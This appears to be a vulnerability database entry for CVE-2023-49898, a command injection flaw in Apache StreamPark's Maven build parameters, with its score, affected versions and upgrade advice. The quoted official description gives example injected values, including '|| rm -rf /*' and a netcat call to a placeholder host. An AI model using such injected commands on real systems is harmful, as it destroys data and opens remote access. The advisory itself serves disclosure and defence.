Apache StreamPark (incubating): Improper Neutralization of Special Elements used in a Command
CVE-2023-49898 is a high-severity improper neutralization of special elements used in a command vulnerability in Apache StreamPark (incubating) from Apache, with a CVSS 3.1 base score of 7.2 out of 10. It can be exploited remotely over the network by an attacker with administrator privileges, without any action from a user. The record lists version 2.1.2 as the first without the flaw, so updating Apache StreamPark (incubating) to that release or later removes the exposure. There is no confirmed exploitation so far. EPSS estimates a 2.3% chance of exploitation within 30 days, higher than 84% of scored CVEs.
High severity with no evidence of exploitation so far.
What to do
- Update Apache StreamPark (incubating) to 2.1.2 or a later version.
- Update Streampark to 2.1.2 or a later version.
Affected products and versions
| Vendor | Product | Affected versions | Fixed in |
|---|---|---|---|
| Apache | Apache StreamPark (incubating) | 2.0.0 up to, but not including, 2.1.2 | 2.1.2 |
| Apache | Streampark | 2.0.0 up to, but not including, 2.1.2 | 2.1.2 |
Version data comes from the organisation that assigned the CVE. Confirm against the vendor advisory before deciding you are unaffected.
How the severity score breaks down
- Attack vector
- NetworkCan be exploited remotely over a network, including the internet.
- Attack complexity
- LowNo special conditions are needed; the attack works reliably.
- Privileges required
- HighAdministrator-level access is required first.
- User interaction
- NoneNo action by a victim is required.
- Scope
- UnchangedImpact stays within the vulnerable component.
- Confidentiality
- HighAll data handled by the component can be read.
- Integrity
- HighData or code can be modified at will.
- Availability
- HighThe component can be taken down completely.
Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H. Scored by NVD.
Official description
In streampark, there is a project module that integrates Maven's compilation capability. However, there is no check on the compilation parameters of Maven. allowing attackers to insert commands for remote command execution, The prerequisite for a successful attack is that the user needs to log in to the streampark system and have system-level permissions. Generally, only users of that system have the authorization to log in, and users would not manually input a dangerous operation command. Therefore, the risk level of this vulnerability is very low. Mitigation: all users should upgrade to 2.1.2 Example: ##You can customize the splicing method according to the compilation situation of the project, mvn compilation results use &&, compilation failure use "||" or "&&": /usr/share/java/maven-3/conf/settings.xml || rm -rf /* /usr/share/java/maven-3/conf/settings.xml && nohup nc x.x.x.x 8899 &
Source: the CVE record as published by its numbering authority, via NVD and CVE.org.
The underlying weakness: Improper Neutralization of Special Elements used in a Command
The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component.
How developers prevent this class of flaw
- If at all possible, use library calls rather than external processes to recreate the desired functionality.
- If possible, ensure that all external commands called from the program are statically created.
- Run time: Run time policy enforcement may be used in an allowlist fashion to prevent use of any non-sanctioned commands.
More Improper Neutralization of Special Elements used in a Command vulnerabilities (CWE-77)
Timeline
- CVE record published.
- Record last changed materially (score, affected products, status or references).
References
Other references
Other vulnerabilities in Apache StreamPark (incubating)
- 8.1 High severity
- 9.1 Critical severity
- 9.8 Critical severity
Recent Improper Neutralization of Special Elements used in a Command vulnerabilities
- 9.8 Critical severity
- 9.8 Critical severity
- 8.8 High severity
- 7.2 High severity
- 8.8 High severity
- 9.8 Critical severity
Spotted an error? Tell us.